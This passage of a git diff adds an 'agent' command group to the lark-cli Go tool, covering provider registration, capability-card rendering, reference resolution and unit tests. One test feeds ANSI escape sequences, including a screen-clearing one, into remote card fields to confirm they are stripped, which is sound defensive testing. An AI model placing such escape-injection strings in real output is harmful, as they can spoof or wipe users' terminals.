defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
delete(s.Tasks, tid)
|
||||
}
|
||||
delete(s.Contexts, ctxID)
|
||||
return s.saveLocked()
|
||||
}
|
||||
19
agent/register.go
Normal file
19
agent/register.go
Normal file
@@ -0,0 +1,19 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent is the top-level business layer that wires the in-repo agent
|
||||
// providers into the framework registry (internal/agent). It mirrors the events
|
||||
// layering: the framework/SPI lives in internal/agent, the concrete providers
|
||||
// live under agent/<scheme>/, and this package blank-imports each so their
|
||||
// init() self-registration runs. Blank-import this package from cmd to populate
|
||||
// the provider registry.
|
||||
//
|
||||
// To onboard a new provider: add its package under agent/<scheme>/ and add one
|
||||
// matching blank import below.
|
||||
package agent
|
||||
|
||||
import (
|
||||
// example is the in-repo onboarding template and offline demo provider
|
||||
// (in-memory mock, zero network); its init() registers the "example" scheme.
|
||||
_ "github.com/larksuite/cli/agent/example"
|
||||
)
|
||||
29
cmd/agent/agent.go
Normal file
29
cmd/agent/agent.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
)
|
||||
|
||||
// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
|
||||
// that drives remote A2A agents with constant verbs. It is a pure group with
|
||||
// no RunE, so an unknown subcommand is reported rather than silently
|
||||
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
|
||||
// and context are themselves nested groups.
|
||||
func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "agent",
|
||||
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
|
||||
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentList(f))
|
||||
cmd.AddCommand(NewCmdAgentCard(f))
|
||||
cmd.AddCommand(NewCmdAgentSend(f, nil))
|
||||
cmd.AddCommand(NewCmdAgentTask(f))
|
||||
cmd.AddCommand(NewCmdAgentContext(f))
|
||||
return cmd
|
||||
}
|
||||
34
cmd/agent/agent_test.go
Normal file
34
cmd/agent/agent_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
|
||||
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
|
||||
// an error rather than being silently swallowed), and it must expose all five
|
||||
// verbs plus the nested task/context sub-groups.
|
||||
func TestAgentCommandTree(t *testing.T) {
|
||||
cmd := NewCmdAgent(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
|
||||
}
|
||||
want := []string{"list", "card", "send", "task", "context"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand %s", name)
|
||||
}
|
||||
}
|
||||
// task/context are nested groups
|
||||
if task := findSub(cmd, "task"); task == nil {
|
||||
t.Error("missing agent task group")
|
||||
} else if findSub(task, "get") == nil {
|
||||
t.Error("missing agent task get")
|
||||
}
|
||||
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
|
||||
t.Error("missing agent context group")
|
||||
} else if findSub(ctxCmd, "delete") == nil {
|
||||
t.Error("missing agent context delete")
|
||||
}
|
||||
}
|
||||
181
cmd/agent/card.go
Normal file
181
cmd/agent/card.go
Normal file
@@ -0,0 +1,181 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardOptions holds all inputs for `agent card <ref>`.
|
||||
type cardOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
|
||||
// capability card. Adapters synthesize the card statically from their known
|
||||
// capability matrix — no API call is made, and the command works offline /
|
||||
// under mock. Risk=read.
|
||||
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &cardOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "card <agent_ref>",
|
||||
Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
|
||||
Long: "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentCardRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentCardRun resolves the provider addressed by ref and emits its capability
|
||||
// card. The card is first-party static data (not agent-generated content), so
|
||||
// it bypasses content-safety scanning. The JSON success envelope is the
|
||||
// default; --format pretty opts into the human-readable listing. A --jq
|
||||
// expression forces JSON (jq operates on the envelope) and, when present,
|
||||
// filters stdout.
|
||||
func agentCardRun(opts *cardOptions) error {
|
||||
f := opts.Factory
|
||||
// Card synthesis is API-free, so resolve without requiring a
|
||||
// configured client: `agent card` must work offline / before config init.
|
||||
p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
r, err := iagent.ParseRef(opts.Ref)
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
jq := jqExpr(opts.Cmd)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON,
|
||||
// so it takes precedence over the pretty format.
|
||||
if opts.Format == "pretty" && jq == "" {
|
||||
printCardPretty(f.IOStreams.Out, card)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: card,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// printCardPretty writes a compact human-readable view of an agent card:
|
||||
// identity header (with per-identity preconditions), the sorted capability
|
||||
// matrix, declared parameters and skills — the key constraints an AI reads
|
||||
// from json must also be visible to a human. Remote cards carry
|
||||
// agent-controlled Name/Description/Desc
|
||||
// strings, so every such field is ANSI-stripped before hitting the terminal.
|
||||
// Nil cards degrade to a placeholder line rather than panicking.
|
||||
func printCardPretty(w io.Writer, card *iagent.AgentCard) {
|
||||
if card == nil {
|
||||
fmt.Fprintln(w, "(no card)")
|
||||
return
|
||||
}
|
||||
// Dynamic cards carry a Name; static cards fall back to the provider label.
|
||||
name := card.Name
|
||||
if name == "" {
|
||||
name = card.ProviderLabel
|
||||
}
|
||||
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
|
||||
if card.Description != "" {
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
|
||||
}
|
||||
if len(card.Identity) > 0 {
|
||||
ids := make([]string, 0, len(card.Identity))
|
||||
for _, spec := range card.Identity {
|
||||
id := string(spec.Type)
|
||||
if spec.Precondition != "" {
|
||||
id += "(前置: " + stripANSI(spec.Precondition) + ")"
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
|
||||
}
|
||||
|
||||
fmt.Fprintln(w, " capabilities:")
|
||||
// Capabilities is a closed struct; iterate in fixed alphabetical key order,
|
||||
// matching the sorted output of the earlier map-based representation.
|
||||
for _, k := range []string{
|
||||
iagent.CapArtifactDownload,
|
||||
iagent.CapFileInput,
|
||||
iagent.CapInputRequired,
|
||||
iagent.CapMultiTurn,
|
||||
iagent.CapTaskCancel,
|
||||
iagent.CapTaskGet,
|
||||
iagent.CapTaskList,
|
||||
} {
|
||||
mark := "no"
|
||||
if card.Supports(k) {
|
||||
mark = "yes"
|
||||
}
|
||||
fmt.Fprintf(w, " %-20s %s\n", k, mark)
|
||||
}
|
||||
|
||||
if len(card.Parameters) > 0 {
|
||||
fmt.Fprintln(w, " parameters:")
|
||||
for _, pr := range card.Parameters {
|
||||
req := ""
|
||||
if pr.Required {
|
||||
req = " (required)"
|
||||
}
|
||||
fmt.Fprintf(w, " %s: %s%s", pr.Name, pr.Type, req)
|
||||
if pr.Desc != "" {
|
||||
fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
|
||||
}
|
||||
fmt.Fprintln(w)
|
||||
}
|
||||
}
|
||||
|
||||
if len(card.Skills) > 0 {
|
||||
fmt.Fprintln(w, " skills:")
|
||||
for _, sk := range card.Skills {
|
||||
name := sk.Name
|
||||
if name == "" {
|
||||
name = sk.ID
|
||||
}
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
286
cmd/agent/card_test.go
Normal file
286
cmd/agent/card_test.go
Normal file
@@ -0,0 +1,286 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardTestOpts builds a cardOptions driving agentCardRun against a real
|
||||
// (test) Factory. The example card is synthesized statically, so no API call
|
||||
// is made and stdout carries the capability card envelope.
|
||||
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
|
||||
t.Helper()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
|
||||
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
|
||||
}
|
||||
|
||||
// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
|
||||
// returns the statically synthesized capability card (no API), with
|
||||
// task_cancel gated off and multi_turn on, and the agent_id echoed from the
|
||||
// ref.
|
||||
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should be statically synthesized and not error: %v", err)
|
||||
}
|
||||
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v", err)
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be a card object, got %T", env.Data)
|
||||
}
|
||||
if data["agent_id"] != "echo" {
|
||||
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
|
||||
}
|
||||
if data["provider"] != "example" {
|
||||
t.Errorf("provider should be example, got %v", data["provider"])
|
||||
}
|
||||
// source was removed from the card (schema tightening).
|
||||
if _, present := data["source"]; present {
|
||||
t.Errorf("card should no longer carry a source field, got %v", data["source"])
|
||||
}
|
||||
caps, ok := data["capabilities"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
|
||||
}
|
||||
if caps["task_cancel"] != false {
|
||||
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
|
||||
}
|
||||
if caps["multi_turn"] != true {
|
||||
t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
|
||||
}
|
||||
// parameters / identity must serialize as non-null (guard against omitempty
|
||||
// regression): parameters is always an array (empty [] for example),
|
||||
// identity is a non-empty array.
|
||||
if params, ok := data["parameters"].([]interface{}); !ok {
|
||||
t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
|
||||
} else if len(params) != 0 {
|
||||
t.Errorf("example parameters should be an empty array, got %v", params)
|
||||
}
|
||||
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
|
||||
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
|
||||
}
|
||||
// card no longer exposes scope: the required_scopes field was removed from
|
||||
// AgentCard (scope is an internal registration item used only for preflight).
|
||||
if _, present := data["required_scopes"]; present {
|
||||
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
|
||||
// since the json default flip), the card renders as a human-readable listing.
|
||||
// The output must surface the identity and capability names in plain text so
|
||||
// the stream is not valid envelope JSON.
|
||||
func TestAgentCardRun_PrettyFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card pretty should not error: %v", err)
|
||||
}
|
||||
|
||||
text := string(out.Bytes())
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "echo") {
|
||||
t.Errorf("pretty output should contain agent_id: %s", text)
|
||||
}
|
||||
// multi_turn is a declared capability of the echo card; it must appear.
|
||||
if !strings.Contains(text, "multi_turn") {
|
||||
t.Errorf("pretty output should list capabilities: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
|
||||
func TestAgentCardRun_JSONFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "json"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card json should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must actually be REGISTERED on `agent card` (the run path already
|
||||
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
|
||||
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
|
||||
// the real command so registration + consumption are proven together.
|
||||
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := NewCmdAgentCard(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("card --jq should not error: %v", err)
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
|
||||
// line instead of panicking (card.go nil branch).
|
||||
func TestPrintCardPretty_NilCard(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, nil)
|
||||
if !strings.Contains(out.String(), "(no card)") {
|
||||
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
|
||||
// the pretty renderer that a minimal static card omits: the dynamic-card Name
|
||||
// (taking precedence over ProviderLabel), Description, declared Parameters, and
|
||||
// the Skills block (both the named skill and the id-fallback when Name is empty).
|
||||
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
|
||||
AgentID: "agt_demo",
|
||||
Description: "a helpful demo agent",
|
||||
Identity: []iagent.IdentitySpec{
|
||||
{Type: "user"},
|
||||
{Type: "bot", Precondition: "需加入渠道白名单"},
|
||||
},
|
||||
Capabilities: iagent.Capabilities{
|
||||
MultiTurn: true,
|
||||
TaskCancel: false,
|
||||
},
|
||||
Parameters: []iagent.CardParam{
|
||||
{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
|
||||
},
|
||||
Skills: []iagent.CardSkill{
|
||||
{ID: "sk_1", Name: "Sales Analysis"},
|
||||
{ID: "sk_2"}, // no Name → falls back to ID
|
||||
},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{
|
||||
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
|
||||
"a helpful demo agent", // Description branch
|
||||
"identity: user, bot", // IdentitySpec types are joined
|
||||
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
|
||||
"locale", // Parameters branch
|
||||
"skills:", // Skills block header
|
||||
"Sales Analysis", // skill with a Name
|
||||
"sk_2", // skill without a Name → id fallback
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
|
||||
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
|
||||
// terminal (this sanitization is applied to every pretty surface).
|
||||
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
AgentID: "agt_demo",
|
||||
Name: "\x1b[31mEvil\x1b[0m Agent",
|
||||
Description: "desc\x1b[2Jwipe",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
|
||||
t.Errorf("readable text should remain after stripping, got: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
|
||||
// (no dynamic Name) renders its ProviderLabel as the header.
|
||||
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
AgentID: "agt_demo",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
|
||||
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
|
||||
// before any provider is built.
|
||||
func TestAgentCardRun_InvalidRef(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "no-colon")
|
||||
if err := agentCardRun(opts); err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
|
||||
// presence of --format and --as flags.
|
||||
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentCard(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent card with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent card should have a --format flag")
|
||||
}
|
||||
// Default output format is unified: card default flips from pretty to json.
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agent card should have an --as flag")
|
||||
}
|
||||
}
|
||||
314
cmd/agent/common.go
Normal file
314
cmd/agent/common.go
Normal file
@@ -0,0 +1,314 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent implements the `agent` command tree: a provider-agnostic
|
||||
// surface over remote A2A agents. This file holds the shared
|
||||
// command-layer helpers: ref→provider resolution, --param validation against a
|
||||
// Card, success-envelope emission, capability gating, and wait/watch polling.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// supportedIdentities is the identity whitelist enforced for every agent
|
||||
// command; provider cards advertise (a subset of) the same set.
|
||||
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
|
||||
|
||||
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
|
||||
// until ctx is done, returning true if the full duration elapsed and false if
|
||||
// ctx was canceled first. Tests swap it for a no-op.
|
||||
var sleep = func(ctx context.Context, d time.Duration) bool {
|
||||
t := time.NewTimer(d)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-t.C:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// resolveProviderNoClient resolves the effective identity, enforces the
|
||||
// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
|
||||
// requiring a configured API client. It is the resolution path for the
|
||||
// API-free operations that always work — `agent card` (static synthesis) and
|
||||
// `agent send --dry-run` (client-side preview) — so they succeed even before
|
||||
// `lark-cli config init`. The provider's client is nil; only API-free methods
|
||||
// (Card) may be called on it. A malformed ref or unknown provider scheme is
|
||||
// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
|
||||
// those surface before (not behind) the config gate.
|
||||
func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
|
||||
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
p, err := iagent.Resolve(ref, iagent.Deps{As: id})
|
||||
if err != nil {
|
||||
// ParseRef / unknown-scheme errors already carry the validation wording;
|
||||
// promote them to a typed validation error (with a recovery hint)
|
||||
// so RunE never returns a bare error and the exit code / subtype are
|
||||
// stable.
|
||||
return nil, "", wrapRefResolveError(err)
|
||||
}
|
||||
return p, id, nil
|
||||
}
|
||||
|
||||
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
|
||||
// validation typed error (subtype invalid_argument, exit 2) and attaches the
|
||||
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
|
||||
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
|
||||
// shape; an unknown scheme points at `agent list` to discover the available
|
||||
// providers. Both hints are copy-pasteable next steps, not just wording.
|
||||
func wrapRefResolveError(err error) error {
|
||||
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
if errors.Is(err, iagent.ErrInvalidRef) {
|
||||
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
|
||||
}
|
||||
return e.WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
|
||||
// resolveProvider resolves the identity and constructs the Provider addressed
|
||||
// by ref backed by a configured API client, for commands that actually call the
|
||||
// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
|
||||
// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
|
||||
// BEFORE the config gate — an unconfigured user still gets the precise error,
|
||||
// not not_configured. Only after the ref is valid does it require a
|
||||
// configured client (not_configured / exit 3 is correct for a real API call).
|
||||
//
|
||||
// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
|
||||
// right after this succeeds and before the API call, so a new verb is
|
||||
// never silently exempt from the local scope preflight.
|
||||
func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
|
||||
_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
|
||||
if err != nil {
|
||||
return nil, "", wrapRefResolveError(err)
|
||||
}
|
||||
return p, id, nil
|
||||
}
|
||||
|
||||
// cardHint builds the "check the agent card" hint. The ref is user-echoed
|
||||
// input: when it passes the safeNextRef whitelist the hint carries the
|
||||
// copy-pasteable command; otherwise it degrades to plain guidance without any
|
||||
// interpolated command (a ref containing spaces would make the command
|
||||
// non-copy-pasteable, and the hint is what an AI copies verbatim).
|
||||
func cardHint(ref, what string) string {
|
||||
if safeNextRef(ref) {
|
||||
return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
|
||||
}
|
||||
return fmt.Sprintf("查看该 agent 的能力卡片(agent card 命令)确认%s", what)
|
||||
}
|
||||
|
||||
// parseAndValidateParams parses `key=value` --param pairs and validates them
|
||||
// against the card's Parameters declaration: every Required parameter must be
|
||||
// present, and every provided key must be declared (an undeclared key
|
||||
// would otherwise be silently dropped by the provider). A pair without '=' (or
|
||||
// an empty key), a missing required parameter, or an unknown key returns a
|
||||
// validation typed error (subtype invalid_argument, param "param:<key>")
|
||||
// whose hint points at `agent card <ref>`. A nil card skips both
|
||||
// card-driven checks.
|
||||
func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
|
||||
m := make(map[string]string, len(kvs))
|
||||
for _, kv := range kvs {
|
||||
k, v, ok := strings.Cut(kv, "=")
|
||||
if !ok || k == "" {
|
||||
